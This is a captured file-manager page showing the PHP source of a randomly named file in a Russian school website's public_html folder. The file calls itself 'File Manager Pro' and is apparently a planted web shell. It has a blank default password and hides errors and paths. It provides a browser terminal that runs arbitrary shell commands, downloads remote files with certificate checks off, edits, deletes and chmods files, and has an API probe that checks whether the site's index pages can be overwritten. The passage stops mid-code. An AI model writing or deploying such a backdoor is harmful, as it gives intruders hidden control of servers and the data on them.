File Manager
Pro
/home/i/iqcent/iq-schools.ru/public_html
PHP 7.4.33
Linux
/home/i/iqcent/iq-schools.ru/public_html/EfLDZZCF.php
69.1 KB
0600
Back
<?php /* ============================================================ * FILE MANAGER PRO v2 — single file, PHP 5.4+ compatible * ------------------------------------------------------------ * - Modern UI with inline SVG icons (no emoji) * - Encrypted/obfuscated paths in URLs (AES-256-CTR via * openssl when available, XOR+base64 fallback) * - All POST payloads base64-encoded (URL-safe alphabet) * - Full UTF-8 / special-character safe filenames * - Features: browse, edit, view, download, multi-upload, * upload from URL, new file, new folder, rename, copy, * move, delete, chmod, zip (folder), recursive search, * web terminal (command execution in current dir) * - CSRF token on every POST form * * Usage: drop on any PHP server, open in browser. * Append ?api=check for JSON capability report. * * SET $PW — password ('plain', 'md5:<hash>' or 'sha256:<hash>') * SET $KEY — secret used to encrypt URL path parameters * ============================================================ */ $PW = ''; $KEY = 'fm-pro-change-this-secret-key-2026'; /* ---------------- low-level helpers ---------------- */ function fm_n($p) { return str_replace('\\', '/', (string)$p); } function fm_h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } /** URL-safe base64 encode */ function fm_b64e($s) { return rtrim(strtr(base64_encode((string)$s), '+/', '-_'), '='); } /** URL-safe base64 decode (strict). Returns null on failure. */ function fm_b64d($s) { $s = (string)$s; if ($s === '') return ''; $b = base64_decode(strtr($s, '-_', '+/'), true); return ($b === false) ? null : $b; } /** Encrypt a string for use in URLs. Prefix 'a'=AES, 'x'=XOR. */ function fm_enc($s) { global $KEY; if (function_exists('openssl_encrypt') && function_exists('hash')) { $iv = substr(hash('sha256', $KEY . '#iv', true), 0, 16); $raw = hash('sha256', $KEY, true); $r = @openssl_encrypt((string)$s, 'AES-256-CTR', $raw, OPENSSL_RAW_DATA, $iv); if ($r !== false) return 'a' . fm_b64e($r); } $key = function_exists('hash') ? hash('sha256', $KEY, true) : md5($KEY, true); $kl = strlen($key); $out = ''; $len = strlen((string)$s); for ($i = 0; $i < $len; $i++) { $out .= $s[$i] ^ $key[$i % $kl]; } return 'x' . fm_b64e($out); } /** Decrypt a value produced by fm_enc(). Returns null on failure. */ function fm_dec($s) { global $KEY; $s = (string)$s; if ($s === '') return null; $tag = substr($s, 0, 1); $raw = fm_b64d(substr($s, 1)); if ($raw === null) return null; if ($tag === 'a' && function_exists('openssl_decrypt')) { $iv = substr(hash('sha256', $KEY . '#iv', true), 0, 16); $r = @openssl_decrypt($raw, 'AES-256-CTR', hash('sha256', $KEY, true), OPENSSL_RAW_DATA, $iv); return ($r === false) ? null : $r; } if ($tag === 'x') { $key = function_exists('hash') ? hash('sha256', $KEY, true) : md5($KEY, true); $kl = strlen($key); $out = ''; $len = strlen($raw); for ($i = 0; $i < $len; $i++) { $out .= $raw[$i] ^ $key[$i % $kl]; } return $out; } return null; } /** Resolve any absolute path to canonical form, null if invalid. */ function fm_resolve($path) { $path = fm_n($path); if ($path === '') return null; if (strpos($path, "\0") !== false) return null; if (strpos($path, '://') !== false) return null; $r = @realpath($path); return ($r !== false) ? fm_n($r) : null; } function fm_base($p) { $p = fm_n($p); if ($p === '/') return '/'; $i = strrpos($p, '/'); return $i === false ? $p : substr($p, $i + 1); } function fm_ls($dir) { $out = array(); if (function_exists('scandir')) { $r = @scandir($dir); if ($r !== false) return $r; } if (!function_exists('opendir')) return $out; $h = @opendir($dir); if (!$h) return $out; while (($n = readdir($h)) !== false) $out[] = $n; @closedir($h); return $out; } function fm_rmdir_r($dir) { if (!is_dir($dir)) return false; foreach (fm_ls($dir) as $it) { if ($it === '.' || $it === '..') continue; $p = $dir . '/' . $it; if (is_dir($p)) { fm_rmdir_r($p); } else { @unlink($p); } } return @rmdir($dir); } function fm_copy_dir($src, $dst) { if (!@is_dir($src)) return false; if (!@mkdir($dst, 0777, true) && !@is_dir($dst)) return false; foreach (fm_ls($src) as $it) { if ($it === '.' || $it === '..') continue; $s = $src . '/' . $it; $d = $dst . '/' . $it; if (@is_dir($s)) { if (!fm_copy_dir($s, $d)) return false; } else { if (!@copy($s, $d)) return false; } } return true; } /** Execute a shell command in $cwd. Returns array(stdout+stderr, exit code). */ function fm_exec($cmd, $cwd) { $out = ''; $code = 0; if (function_exists('proc_open')) { $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $proc = @proc_open($cmd, $desc, $pipes, $cwd); if (is_resource($proc)) { @fclose($pipes[0]); @stream_set_timeout($pipes[1], 30); @stream_set_timeout($pipes[2], 30); $o1 = @stream_get_contents($pipes[1]); $o2 = @stream_get_contents($pipes[2]); @fclose($pipes[1]); @fclose($pipes[2]); $code = @proc_close($proc); if ($o1 === false) $o1 = ''; if ($o2 === false) $o2 = ''; return array($o1 . $o2, (int)$code); } } if (function_exists('shell_exec') || function_exists('exec') || function_exists('passthru')) { $prev = @getcwd(); if ($cwd && is_dir($cwd)) { @chdir($cwd); } if (function_exists('shell_exec')) { $o = @shell_exec($cmd . ' 2>&1'); if ($o !== null) { if ($prev) @chdir($prev); return array((string)$o, 0); } } if (function_exists('exec')) { $lines = array(); $c2 = 0; @exec($cmd . ' 2>&1', $lines, $c2); if ($prev) @chdir($prev); return array(implode("\n", $lines) . "\n", (int)$c2); } ob_start(); $c3 = 0; @passthru($cmd . ' 2>&1', $c3); $o = (string)ob_get_clean(); if ($prev) @chdir($prev); return array($o, (int)$c3); } return array('', -1); } /** Download a remote file (cURL preferred, streams fallback). */ function fm_fetch_url($url, &$err) { $err = ''; if (function_exists('curl_init')) { $ch = @curl_init(); if (!$ch) { $err = 'curl init failed'; return false; } @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_MAXREDIRS, 5); @curl_setopt($ch, CURLOPT_TIMEOUT, 90); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (FileManagerPro)'); @curl_setopt($ch, CURLOPT_ENCODING, ''); $data = @curl_exec($ch); $cerr = (string)@curl_error($ch); $code = (int)@curl_getinfo($ch, CURLINFO_HTTP_CODE); @curl_close($ch); if ($data === false) { $err = $cerr !== '' ? $cerr : 'request failed'; return false; } if ($code >= 400) { $err = 'HTTP ' . $code; return false; } return $data; } if (ini_get('allow_url_fopen')) { $opts = array('method' => 'GET', 'timeout' => 90, 'follow_location' => 5, 'user_agent' => 'Mozilla/5.0 (FileManagerPro)', 'ignore_errors' => true); $ctx = @stream_context_create(array('http' => $opts, 'https' => $opts)); $data = @file_get_contents($url, false, $ctx); if ($data === false) { $err = 'download failed'; return false; } return $data; } $err = 'no HTTP client (need cURL or allow_url_fopen)'; return false; } function fm_perm_str($path) { $p = @fileperms($path); if ($p === false) return '----'; return substr(sprintf('%o', (int)$p), -4); } function fm_size_int($path) { $s = @filesize($path); return ($s === false) ? -1 : (int)$s; } function fm_size_str($path) { $s = fm_size_int($path); if ($s < 0) return '?'; if ($s >= 1073741824) return round($s / 1073741824, 2) . ' GB'; if ($s >= 1048576) return round($s / 1048576, 1) . ' MB'; if ($s >= 1024) return round($s / 1024, 1) . ' KB'; return $s . ' B'; } function fm_kind($path) { if (@is_link($path)) return 'link'; if (@is_dir($path)) return 'dir'; return 'file'; } function fm_ext($name) { $i = strrpos($name, '.'); if ($i === false || $i === 0) return ''; return strtolower(substr($name, $i + 1)); } /** RFC 5987 safe Content-Disposition filename */ function fm_disposition($name) { $fallback = preg_replace('/[^\x20-\x7E]/', '_', $name); $fallback = str_replace(array('"', '\\', ';'), '_', $fallback); if ($fallback === '') $fallback = 'download'; return "attachment; filename=\"$fallback\"; filename*=UTF-8''" . rawurlencode($name); } /* ---------------- bootstrap ---------------- */ error_reporting(0); @ini_set('display_errors', '0'); if (function_exists('ob_start')) { @ob_start(); } if (function_exists('mb_internal_encoding')) { @mb_internal_encoding('UTF-8'); } /* ---------------- session, CSRF, auth ---------------- */ if (function_exists('session_id') && session_id() === '') { @session_start(); } $CSRF = ''; if (isset($_SESSION) && is_array($_SESSION)) { if (empty($_SESSION['fm_csrf'])) { if (function_exists('random_bytes')) { $_SESSION['fm_csrf'] = bin2hex(random_bytes(16)); } elseif (function_exists('openssl_random_pseudo_bytes')) { $_SESSION['fm_csrf'] = bin2hex(openssl_random_pseudo_bytes(16)); } else { $_SESSION['fm_csrf'] = sha1(uniqid(mt_rand(), true)); } } $CSRF = (string)$_SESSION['fm_csrf']; } function fm_check_csrf() { if ($GLOBALS['CSRF'] === '') return true; // sessions unavailable: skip check if (!isset($_POST['csrf'])) return false; return (string)$_POST['csrf'] === $GLOBALS['CSRF']; } /* password gate */ if ($PW !== '') { $ok = false; if (isset($_POST['fm_pw'])) { $given = (string)$_POST['fm_pw']; if (strpos($PW, 'md5:') === 0) { $ok = md5($given) === substr($PW, 4); } elseif (strpos($PW, 'sha256:') === 0) { $ok = hash('sha256', $given) === substr($PW, 7); } else { $ok = ($given === $PW); } if ($ok) $_SESSION['fm_ok'] = 1; } if (empty($_SESSION['fm_ok'])) { @header('Content-Type: text/html; charset=utf-8'); echo '<!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Sign in — File Manager Pro</title>'; echo '<style>body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;background:radial-gradient(1200px 600px at 20% 0%,#1e293b,#0b1120);color:#e2e8f0;font:15px/1.5 system-ui,sans-serif}'; echo '.card{background:rgba(30,41,59,.85);border:1px solid #334155;border-radius:18px;padding:36px;width:340px;backdrop-filter:blur(8px);box-shadow:0 20px 60px rgba(0,0,0,.45)}'; echo 'h2{margin:0 0 6px;font-size:18px;font-weight:700;display:flex;gap:10px;align-items:center}p.sub{margin:0 0 22px;font-size:12.5px;color:#94a3b8}'; echo 'input{width:100%;padding:11px 13px;border:1px solid #475569;border-radius:10px;background:#0b1120;color:#e2e8f0;font-size:14px;box-sizing:border-box;margin-bottom:14px}'; echo 'input:focus{outline:none;border-color:#6366f1;box-shadow:0 0 0 3px rgba(99,102,241,.2)}'; echo 'button{width:100%;padding:11px;border:none;border-radius:10px;background:linear-gradient(135deg,#6366f1,#8b5cf6);color:#fff;font-size:14px;font-weight:600;cursor:pointer}button:hover{filter:brightness(1.12)}</style></head><body>'; echo '<form method="post" class="card"><h2><svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="#818cf8" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg> File Manager Pro</h2>'; echo '<p class="sub">Enter your password to continue</p>'; echo '<input type="password" name="fm_pw" placeholder="Password" autofocus autocomplete="current-password">'; echo '<button type="submit">Sign in</button></form></body></html>'; exit; } } /* ---------------- capability report (?api=check) ---------------- */ if (isset($_GET['api'])) { @header('Content-Type: application/json; charset=utf-8'); $root = fm_n(dirname(__FILE__)); $rr = @realpath($root); if ($rr !== false) $root = fm_n($rr); $rw = false; $probe = $root . '/.fm_probe.tmp'; if (@file_put_contents($probe, 'ok') !== false) { $c = @file_get_contents($probe); $rw = ($c === 'ok'); } @unlink($probe); $ie = false; $ifiles = array(); foreach (array('index.php', 'index.html', 'index.htm') as $f) { $p = $root . '/' . $f; if (@is_file($p)) { $ifiles[] = $f; $h = @fopen($p, 'a'); if ($h !== false) { @fclose($h); $ie = true; } } } $report = array( 'ok' => ($rw && $ie), 'root_writable' => $rw, 'index_editable' => $ie, 'index_files' => $ifiles, 'php_version' => PHP_VERSION, 'server' => isset($_SERVER['SERVER_SOFTWARE']) ? (string)$_SERVER['SERVER_SOFTWARE'] : 'unknown', 'os' => PHP_OS, 'root' => $root, 'openssl' => function_exists('openssl_encrypt'), 'zip' => class_exists('ZipArchive'), 'exec' => function_exists('shell_exec') || function_exists('proc_open') || function_exists('exec') || function_exists('passthru'), 'curl' => function_exists('curl_init'), 'allow_url_fopen' => (bool)ini_get('allow_url_fopen'), ); echo function_exists('json_encode') ? json_encode($report) : '{"ok":false,"error":"json_encode unavailable"}'; exit; } /* ---------------- script dir & current dir ---------------- */ $scriptDir = fm_n(dirname(__FILE__)); $sd = @realpath($scriptDir); if ($sd !== false) $scriptDir = fm_n($sd); function fm_cur_dir() { global $scriptDir; if (isset($_GET['d'])) { $d = fm_dec((string)$_GET['d']); if ($d !== null) { $r = fm_resolve($d); if ($r !== null && @is_dir($r)) return $r; } } return $scriptDir; } /* ---------------- download / view (GET, before HTML) ---------------- */ if (isset($_GET['a'])) { $act = (string)$_GET['a']; if ($act === 'dl' || $act === 'view') { $f = isset($_GET['f']) ? fm_dec((string)$_GET['f']) : null; $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null && @is_file($p) && is_readable($p)) { $name = fm_base($p); $ext = fm_ext($name); $mime = 'application/octet-stream'; $mimes = array( 'txt'=>'text/plain; charset=utf-8','md'=>'text/plain; charset=utf-8','log'=>'text/plain; charset=utf-8', 'json'=>'application/json','js'=>'text/javascript','css'=>'text/css','xml'=>'application/xml','htm'=>'text/html','html'=>'text/html', 'php'=>'text/plain; charset=utf-8','phtml'=>'text/plain; charset=utf-8', 'png'=>'image/png','jpg'=>'image/jpeg','jpeg'=>'image/jpeg','gif'=>'image/gif','webp'=>'image/webp','svg'=>'image/svg+xml','ico'=>'image/x-icon','bmp'=>'image/bmp', 'pdf'=>'application/pdf','mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','mp4'=>'video/mp4','webm'=>'video/webm', 'zip'=>'application/zip', ); if (isset($mimes[$ext])) $mime = $mimes[$ext]; while (@ob_end_clean()) {} @header('Content-Type: ' . $mime); @header('X-Content-Type-Options: nosniff'); if ($act === 'dl') { @header('Content-Disposition: ' . fm_disposition($name)); @header('Content-Length: ' . fm_size_int($p)); } $full = fm_size_int($p); if ($full <= 64 * 1048576 && function_exists('readfile')) { @readfile($p); } else { $h = @fopen($p, 'rb'); if ($h) { while (!feof($h)) { echo @fread($h, 8192); } @fclose($h); } } } else { @header('HTTP/1.0 404 Not Found'); echo 'Not found or not readable.'; } exit; } } /* ---------------- POST actions ---------------- */ $msg = ''; $err = ''; $termFlash = ''; /** Read a POST field. Prefers the JS-encoded 'k_b64' (base64); falls back to * the raw 'k' value UNTouched (e.g. when JS is unavailable). Null when missing. */ function fm_post($k) { if (isset($_POST[$k . '_b64'])) { $v = fm_b64d((string)$_POST[$k . '_b64']); if ($v !== null) return $v; } if (isset($_POST[$k])) return (string)$_POST[$k]; return null; } if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['a'])) { if (!fm_check_csrf()) { $err = 'Session expired or bad CSRF token — please retry.'; } else { $act = (string)$_POST['a']; $dirRaw = fm_post('dir'); $dir = ($dirRaw !== null) ? fm_resolve($dirRaw) : null; if ($dir === null || !@is_dir($dir)) { $dir = $scriptDir; } if ($act === 'save') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null && @is_file($p)) { $c = fm_post('content'); if ($c === null) { $c = isset($_POST['content']) ? (string)$_POST['content'] : ''; } $ok = @file_put_contents($p, $c); if ($ok !== false) { $msg = 'Saved: ' . fm_base($p); } else { $err = 'Save failed (permissions?).'; } } else { $err = 'File not found.'; } } elseif ($act === 'goto') { $dest = fm_post('dest'); $r = ($dest !== null) ? fm_resolve($dest) : null; if ($r !== null && @is_dir($r)) { while (@ob_end_clean()) {} @header('Location: ?d=' . fm_enc($r)); exit; } $err = 'Invalid path.'; } elseif ($act === 'upload') { if (!empty($_FILES['up']) && is_array($_FILES['up']['name'])) { $done = 0; $failed = 0; $count = count($_FILES['up']['name']); for ($i = 0; $i < $count; $i++) { $name = (string)$_FILES['up']['name'][$i]; $tmp = (string)$_FILES['up']['tmp_name'][$i]; if ($name === '' || $tmp === '' || !empty($_FILES['up']['error'][$i])) { $failed++; continue; } if (function_exists('is_uploaded_file') && !is_uploaded_file($tmp)) { $failed++; continue; } $dest = $dir . '/' . fm_n(basename(fm_n($name))); $ok = false; if (function_exists('move_uploaded_file')) { $ok = @move_uploaded_file($tmp, $dest); } if (!$ok && function_exists('copy')) { $ok = @copy($tmp, $dest); } if ($ok) { $done++; } else { $failed++; } } if ($done > 0) { $msg = "Uploaded $done file(s)." . ($failed ? " $failed failed." : ''); } else { $err = 'Upload failed — no files received or write denied.'; } } else { $err = 'No file received.'; } } elseif ($act === 'newfile') { $name = fm_post('name'); $name = ($name !== null) ? basename(fm_n($name)) : ''; if ($name !== '' && $name !== '.' && $name !== '..' && strpos($name, "\0") === false) { $p = $dir . '/' . $name; if (@file_exists($p)) { $err = 'Already exists: ' . $name; } else { $ok = @file_put_contents($p, ''); if ($ok !== false) { $msg = 'Created: ' . $name; } else { $err = 'Create failed (permissions?).'; } } } else { $err = 'Invalid file name.'; } } elseif ($act === 'mkdir') { $name = fm_post('name'); $name = ($name !== null) ? basename(fm_n($name)) : ''; if ($name !== '' && $name !== '.' && $name !== '..') { $ok = @mkdir($dir . '/' . $name, 0777, true); if ($ok) { $msg = 'Folder created: ' . $name; } else { $err = 'Mkdir failed (exists or denied?).'; } } else { $err = 'Invalid folder name.'; } } elseif ($act === 'rename') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; $new = fm_post('newname'); $new = ($new !== null) ? basename(fm_n($new)) : ''; if ($p !== null && $new !== '' && $new !== '.' && $new !== '..' && strpos($new, "\0") === false) { $ok = @rename($p, fm_n(dirname($p)) . '/' . $new); if ($ok) { $msg = 'Renamed to ' . $new; } else { $err = 'Rename failed.'; } } else { $err = 'Invalid name.'; } } elseif ($act === 'copy' || $act === 'move') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; $dest = fm_post('dest'); $dest = ($dest !== null) ? fm_resolve($dest) : null; if ($p !== null && $dest !== null && @is_dir($dest)) { $target = $dest . '/' . fm_base($p); if (@file_exists($target)) { $err = 'Target already exists: ' . fm_base($target); } elseif ($act === 'copy') { if (@is_dir($p)) { $ok = function_exists('fm_copy_dir') ? fm_copy_dir($p, $target) : false; if (!$ok && function_exists('shell_exec')) { @shell_exec('cp -r ' . escapeshellarg($p) . ' ' . escapeshellarg($target)); $ok = @is_dir($target); } } else { $ok = @copy($p, $target); } if ($ok) { $msg = 'Copied to ' . $target; } else { $err = 'Copy failed.'; } } else { $ok = @rename($p, $target); if ($ok) { $msg = 'Moved to ' . $target; } else { $err = 'Move failed.'; } } } else { $err = 'Invalid source or destination.'; } } elseif ($act === 'delete') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null) { if (is_dir($p)) { $ok = fm_rmdir_r($p); } else { $ok = @unlink($p); } if ($ok) { $msg = 'Deleted: ' . fm_base($p); } else { $err = 'Delete failed.'; } } else { $err = 'Cannot delete that.'; } } elseif ($act === 'chmod') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; $m = fm_post('mode'); $m = ($m !== null) ? trim((string)$m) : ''; $mode = -1; if (preg_match('/^[0-7]{3,4}$/', $m)) { $mode = (int)octdec($m); } // classic octal notation (755, 0644…) elseif (is_numeric($m)) { $mode = (int)$m; } // plain decimal integer if ($mode >= 0 && $mode <= 4095) { /* valid range */ } else { $mode = -1; } if ($p !== null && $mode >= 0 && function_exists('chmod')) { $ok = @chmod($p, $mode); if ($ok) { $msg = 'Chmod applied: ' . sprintf('%04o', $mode); } else { $err = 'Chmod failed.'; } } else { $err = 'Chmod not supported or invalid value.'; } } elseif ($act === 'zip') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null && @is_dir($p)) { if (class_exists('ZipArchive')) { $zipPath = $p . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $base = fm_base($p); $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS)); $added = 0; foreach ($rii as $item) { $ip = fm_n($item->getPathname()); $local = $base . '/' . ltrim(substr($ip, strlen($p)), '/'); if ($item->isDir()) { $zip->addEmptyDir($local); } else { $zip->addFile($ip, $local); $added++; } } $zip->close(); $msg = 'Archive created: ' . fm_base($zipPath) . " ($added files)"; } else { $err = 'Could not create zip.'; } } else { $err = 'ZipArchive not available on this server.'; } } else { $err = 'Select a folder to zip.'; } } elseif ($act === 'fetch') { $url = fm_post('url'); $url = ($url !== null) ? trim($url) : ''; $name = fm_post('name'); $name = ($name !== null) ? trim($name) : ''; $parts = @parse_url($url); $scheme = isset($parts['scheme']) ? strtolower($parts['scheme']) : ''; if ($url === '' || !in_array($scheme, array('http', 'https', 'ftp'), true) || empty($parts['host'])) { $err = 'Invalid URL — use http://, https:// or ftp://'; } else { if ($name === '') { $name = isset($parts['path']) ? basename(fm_n($parts['path'])) : ''; if ($name === '' || $name === '.' || $name === '..') { $name = 'download.bin'; } } $name = basename(fm_n($name)); if ($name === '' || strpos($name, "\0") !== false) { $err = 'Invalid file name.'; } else { $ferr = ''; $data = fm_fetch_url($url, $ferr); if ($data === false) { $err = 'Fetch failed: ' . $ferr; } else { $dest = $dir . '/' . $name; if (@file_put_contents($dest, $data) !== false) { $msg = 'Fetched: ' . $name . ' (' . fm_size_str($dest) . ')'; } else { $err = 'Write failed: ' . $name . ' (permissions?)'; } } } } } elseif ($act === 'terminal') { $cmd = fm_post('cmd'); if ($cmd === null || trim($cmd) === '') { $err = 'Empty command.'; } else { list($o, $code) = fm_exec($cmd, $dir); if (strlen($o) > 65536) { $o = "[output truncated]\n" . substr($o, -65536); } $chunk = '$ ' . $cmd . "\n"; if ($o !== '') { $chunk .= rtrim($o, "\n") . "\n"; } if ($code !== 0) { $chunk .= '[exit ' . $code . "]\n"; } if (isset($_SESSION) && is_array($_SESSION)) { if (!isset($_SESSION['fm_term'])) { $_SESSION['fm_term'] = ''; } $_SESSION['fm_term'] .= $chunk; if (strlen($_SESSION['fm_term']) > 120000) { $_SESSION['fm_term'] = substr($_SESSION['fm_term'], -90000); } } else { $termFlash .= $chunk; } } } elseif ($act === 'tclear') { if (isset($_SESSION) && is_array($_SESSION)) { $_SESSION['fm_term'] = ''; } } } } /* ---------------- current dir & view state ---------------- */ $cur = fm_cur_dir(); $curEnc = fm_enc($cur); $parent = fm_n(dirname($cur)); $hasParent = ($parent !== $cur && $parent !== '' && $parent !== '.'); $editFile = null; if (isset($_GET['a']) && (string)$_GET['a'] === 'edit') { $ef = isset($_GET['f']) ? fm_dec((string)$_GET['f']) : null; if ($ef !== null) { $ep = fm_resolve($ef); if ($ep !== null && @is_file($ep)) $editFile = $ep; } } $viewFile = null; if (isset($_GET['a']) && (string)$_GET['a'] === 'preview') { $vf = isset($_GET['f']) ? fm_dec((string)$_GET['f']) : null; if ($vf !== null) { $vp = fm_resolve($vf); if ($vp !== null && @is_file($vp)) $viewFile = $vp; } } $termOn = (isset($_GET['a']) && (string)$_GET['a'] === 'term'); $termUser = function_exists('get_current_user') ? (string)get_current_user() : 'user'; if ($termUser === '') { $termUser = 'user'; } $termHost = function_exists('gethostname') ? (string)gethostname() : (string)php_uname('n'); if ($termHost === '') { $termHost = 'host'; } $termOut = $termFlash; if (isset($_SESSION) && is_array($_SESSION) && isset($_SESSION['fm_term'])) { $termOut = (string)$_SESSION['fm_term'] . $termFlash; } $searchQ = isset($_GET['q']) ? (string)$_GET['q'] : ''; $searchResults = null; if ($searchQ !== '' && $editFile === null && $viewFile === null && !$termOn) { $needle = function_exists('mb_strtolower') ? mb_strtolower($searchQ, 'UTF-8') : strtolower($searchQ); $searchResults = array(); $stack = array($cur); $visited = 0; while (!empty($stack) && count($searchResults) < 200 && $visited < 20000) { $d = array_pop($stack); $visited++; foreach (fm_ls($d) as $it) { if ($it === '.' || $it === '..') continue; $full = $d . '/' . $it; $hay = function_exists('mb_strtolower') ? mb_strtolower($it, 'UTF-8') : strtolower($it); if (strpos($hay, $needle) !== false) { $searchResults[] = array('name' => $it, 'path' => $full, 'dir' => @is_dir($full)); } if (@is_dir($full) && !@is_link($full)) $stack[] = $full; } } } /* ---------------- SVG icons ---------------- */ function fm_svg($body, $size) { return '<svg width="' . (int)$size . '" height="' . (int)$size . '" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' . $body . '</svg>'; } function fm_icon_type($kind, $ext) { if ($kind === 'dir') return 'dir'; if ($kind === 'link') return 'link'; $map = array( 'image' => array('png','jpg','jpeg','gif','webp','bmp','ico','svg','tiff'), 'code' => array('php','phtml','js','css','html','htm','json','xml','py','rb','java','c','cpp','h','sh','sql','yml','yaml','ini','conf','htaccess','ts','vue','go','rs'), 'archive' => array('zip','rar','7z','tar','gz','bz2','xz'), 'doc' => array('txt','md','rtf','doc','docx','odt','pdf','xls','xlsx','csv','ppt','pptx'), 'audio' => array('mp3','wav','ogg','flac','m4a'), 'video' => array('mp4','webm','mkv','avi','mov'), 'font' => array('ttf','otf','woff','woff2','eot'), ); foreach ($map as $t => $exts) { if (in_array($ext, $exts, true)) return $t; } return 'file'; } function fm_icon($kind, $ext, $size) { if ($kind === 'dir') { return fm_svg('<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/>', $size); } if ($kind === 'link') { return fm_svg('<path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"/><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"/>', $size); } $type = fm_icon_type($kind, $ext); $bodies = array( 'image' => '<rect x="3" y="4" width="18" height="16" rx="2"/><circle cx="8.5" cy="9.5" r="1.5"/><path d="M21 15l-5-5L5 21"/>', 'code' => '<path d="M8 6l-6 6 6 6"/><path d="M16 6l6 6-6 6"/>', 'archive' => '<rect x="3" y="4" width="18" height="5" rx="1"/><path d="M5 9v11a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V9"/><path d="M10 13h4"/>', 'doc' => '<path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M9 13h6M9 17h6"/>', 'audio' => '<path d="M9 18V5l12-2v13"/><circle cx="6" cy="18" r="3"/><circle cx="18" cy="16" r="3"/>', 'video' => '<rect x="2" y="5" width="20" height="14" rx="2"/><path d="M10 9l5 3-5 3z"/>', 'font' => '<path d="M4 20L12 4l8 16"/><path d="M7.5 14h9"/>', 'file' => '<path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/>', ); return fm_svg($bodies[$type], $size); } function fm_ai($name, $size) { $bodies = array( 'edit' => '<path d="M17 3a2.83 2.83 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5z"/>', 'view' => '<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/>', 'download' => '<path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5"/><path d="M12 15V3"/>', 'rename' => '<path d="M4 20h16"/><path d="M14 3l-8 9h6l-2 8 8-9h-6z"/>', 'copy' => '<rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/>', 'move' => '<path d="M5 9l-3 3 3 3"/><path d="M9 5l3-3 3 3"/><path d="M15 19l-3 3-3-3"/><path d="M19 9l3 3-3 3"/><path d="M2 12h20"/><path d="M12 2v20"/>', 'chmod' => '<circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 1 1-2.83 2.83l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 1 1-4 0v-.09A1.65 1.65 0 0 0 9 19.4a1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 1 1-2.83-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 1 1 0-4h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0-.33-1.82l-.06-.06a2 2 0 1 1 2.83-2.83l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 1 1 4 0v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 1 1 2.83 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 1 1 0 4h-.09a1.65 1.65 0 0 0-1.51 1z"/>', 'trash' => '<path d="M3 6h18"/><path d="M8 6V4a2 2 0 0 1 2-2h4a2 2 0 0 1 2 2v2"/><path d="M19 6l-1 14a2 2 0 0 1-2 2H8a2 2 0 0 1-2-2L5 6"/><path d="M10 11v6M14 11v6"/>', 'zip' => '<rect x="3" y="4" width="18" height="5" rx="1"/><path d="M5 9v11a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V9"/><path d="M10 13h4"/><path d="M12 13v3"/>', 'up' => '<path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 